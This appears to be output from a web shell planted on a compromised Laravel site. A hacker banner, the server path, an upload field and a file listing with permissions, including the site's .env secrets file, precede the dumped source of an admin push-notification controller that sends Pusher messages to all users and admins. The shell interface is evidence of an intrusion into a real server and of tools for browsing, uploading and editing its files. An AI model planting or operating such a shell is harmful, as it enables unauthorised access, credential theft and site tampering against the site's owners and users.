I am a hacker in the dark of a very cold night
path :/var/www/html/vorne.webheaydemo.com
upload file:
List of files:
| name file |
size |
edit |
permission |
action |
| .editorconfig | 276 KB | March 05 2024 07:12:34 | 0666 |
|
| .env | 1385 KB | May 24 2024 16:43:55 | 0666 |
|
| .env.example | 1088 KB | March 05 2024 07:12:34 | 0666 |
|
| .gitattributes | 190 KB | March 05 2024 07:12:34 | 0666 |
|
| .gitignore | 245 KB | March 05 2024 07:12:34 | 0666 |
|
| .htaccess | 947 KB | July 04 2023 21:25:08 | 0664 |
|
| .rnd | 1024 KB | March 13 2024 04:51:14 | 0666 |
|
| README.md | 472 KB | March 22 2024 10:35:00 | 0666 |
|
| app | - | March 05 2024 07:12:34 | 0777 |
|
| artisan | 1739 KB | March 05 2024 07:12:34 | 0666 |
|
| bootstrap | - | March 05 2024 07:12:34 | 0777 |
|
| composer.json | 2829 KB | May 13 2024 12:10:04 | 0666 |
|
| composer.lock | 417205 KB | March 19 2024 12:13:14 | 0666 |
|
| config | - | July 03 2025 02:53:36 | 0777 |
|
| database | - | March 05 2024 07:12:34 | 0777 |
|
| index.php | 1816 KB | May 13 2024 10:32:36 | 0666 |
|
| lang | - | May 13 2024 14:53:26 | 0777 |
|
| manifest.json | 913 KB | May 14 2024 03:57:26 | 0664 |
|
| package.json | 398 KB | March 05 2024 07:12:34 | 0666 |
|
| phpunit.xml | 1206 KB | March 05 2024 07:12:34 | 0666 |
|
| public | - | July 03 2025 02:37:20 | 0777 |
|
| resources | - | May 13 2024 12:09:36 | 0777 |
|
| routes | - | March 05 2024 07:12:34 | 0777 |
|
| service-worker.js | 924 KB | March 05 2024 07:12:34 | 0666 |
|
| storage | - | March 05 2024 10:03:52 | 0777 |
|
| symlink.php | 218 KB | March 05 2024 07:12:34 | 0666 |
|
| tests | - | March 05 2024 07:12:34 | 0777 |
|
| vendor | - | March 19 2024 12:13:14 | 0777 |
|
| vite.config.js | 326 KB | March 05 2024 07:12:34 | 0666 |
|
push_notification_config ?? null;
$broadcast_config = BasicSettingsProvider::get()->broadcast_config ?? null;
return view('admin.sections.push-notification.config', compact(
'page_title',
'push_notification',
'broadcast_config'
));
}
/**
* Display The Push Notification Send Page
*
* @return view
*
*/
public function index()
{
$page_title = __("Send Notification");
$notifications = PushNotificationRecord::orderByDesc("id")->paginate(10);
return view('admin.sections.push-notification.send', compact(
'page_title',
'notifications',
));
}
/**
* Function for send push notification
* @param \Illuminate\Http\Request $request
* @return method
*/
public function send(Request $request) {
$vlaidator = Validator::make($request->all(),[
'title' => 'required|string|max:40',
'body' => 'required|string|max:80',
]);
$validated = $vlaidator->validate();
$basic_settings = BasicSettingsProvider::get();
if(!$basic_settings) {
return back()->with(['error' => ['Opps! Basic settings not found!']]);
}
if(!$basic_settings->push_notification_config) {
return back()->with(['error' => ['Sorry! You have to configure first to send push notification.']]);
}
$saved_method = $basic_settings->push_notification_config->method ?? null;
if($saved_method == null) {
return back()->with(['error' => ['Please configure your push notification with valid credentials.']]);
}
$methodDristribute = [
'pusher' => "sendNotificationWithPusher",
// 'firebase' => "sendNotificationWithFirebase",
// 'one-signal' => "sendNotificationWithOneSignal",
];
if(!array_key_exists($saved_method,$methodDristribute)) {
abort(404);
}
$distribute_method_name =$methodDristribute[$saved_method];
return $this->$distribute_method_name($validated);
}
/**
* Function for send push notification via Pusher(Message Bird)
* @param array $data
* @return back URL
*/
public function sendNotificationWithPusher($data) {
$basic_settings = BasicSettingsProvider::get();
if(!$basic_settings) {
return back()->with(['error' => ['Opps! Basic settings not found!']]);
}
$notification_config = $basic_settings->push_notification_config;
if(!$notification_config) {
return back()->with(['error' => ['Sorry! You have to configure first to send push notification.']]);
}
$instance_id = $notification_config->instance_id ?? null;
$primary_key = $notification_config->primary_key ?? null;
if($instance_id == null || $primary_key == null) {
return back()->with(['error' => ['Sorry! You have to configure first to send push notification.']]);
}
$notification = new PushNotifications(
array(
"instanceId" => $notification_config->instance_id,
"secretKey" => $notification_config->primary_key,
)
);
$notification_data = [
'title' => $data['title'] ?? "",
'body' => $data['body'] ?? "",
'icon' => get_fav($basic_settings),
];
// Get all users/admins ids
$admins_id = Admin::all()->map(function($data) {
return "admin-".$data->id. "";
})->toArray();
$users_id = User::all()->map(function($data){
return "user-".$data->id. "";
})->toArray();
$publisher_ids = array_merge($users_id,$admins_id);
$ids_plot = array_chunk($publisher_ids,900);
try{
foreach($ids_plot as $item) {
$response = $notification->publishToUsers(
$item,
[
"web" => [
"notification" => $notification_data,
],
],
);
sleep(2);
}
}catch(Exception $e){
return back()->with(['error' => ['Something went wrong Please try again.']]);
}
// Insert notification record to database
try{
$push_notification_record = [
'method' => "pusher",
'response' => $response,
'message' => $notification_data,
'send_by' => Auth::user()->id,
];
PushNotificationRecord::create($push_notification_record);
}catch(Exception $e) {
return back()->with(['error' => ['Opps! Faild to store information.']]);
}
return back()->with(['success' => ['Notification sended successfully!']]);
}
/**
* Update the specified resource in storage.
*
* @param \Illuminate\Http\Request $request
* @param int $id
* @return \Illuminate\Http\Response
*/
public function update(Request $request)
{
$vlaidator = Validator::make($request->all(),[
'method' => 'required|string|in:pusher',
'instance_id' => 'required_if:method,pusher',
'primary_key' => 'required_if:method,pusher',
]);
$validated = $vlaidator->validate();
$accept_fields = [
'pusher' => ['instance_id','primary_key'],
'firebase' => ['server_key'],
'one-signal' => ['server_key'],
];
$data = [];
foreach($validated as $form_input => $item) {
foreach($accept_fields as $method_name => $values) {
if($validated['method'] == $method_name) {
$data['method'] = $validated['method'];
foreach($values as $value) {
$data[$value] = $validated[$value] ?? null;
}
break;
}
}
}
$basic_settings = BasicSettings::first();
if(!$basic_settings) {
return back()->with(['error' => ['Opps! Basic setting not found!']]);
}
try{
// Update Push notification config
$basic_settings->update([
'push_notification_config' => $data,
]);
}catch(Exception $e) {
return back()->with(['error' => ['Something went wrong Please try again.']]);
}
return back()->with(['success' => ['Push notification configuration updated successfully!']]);
}
}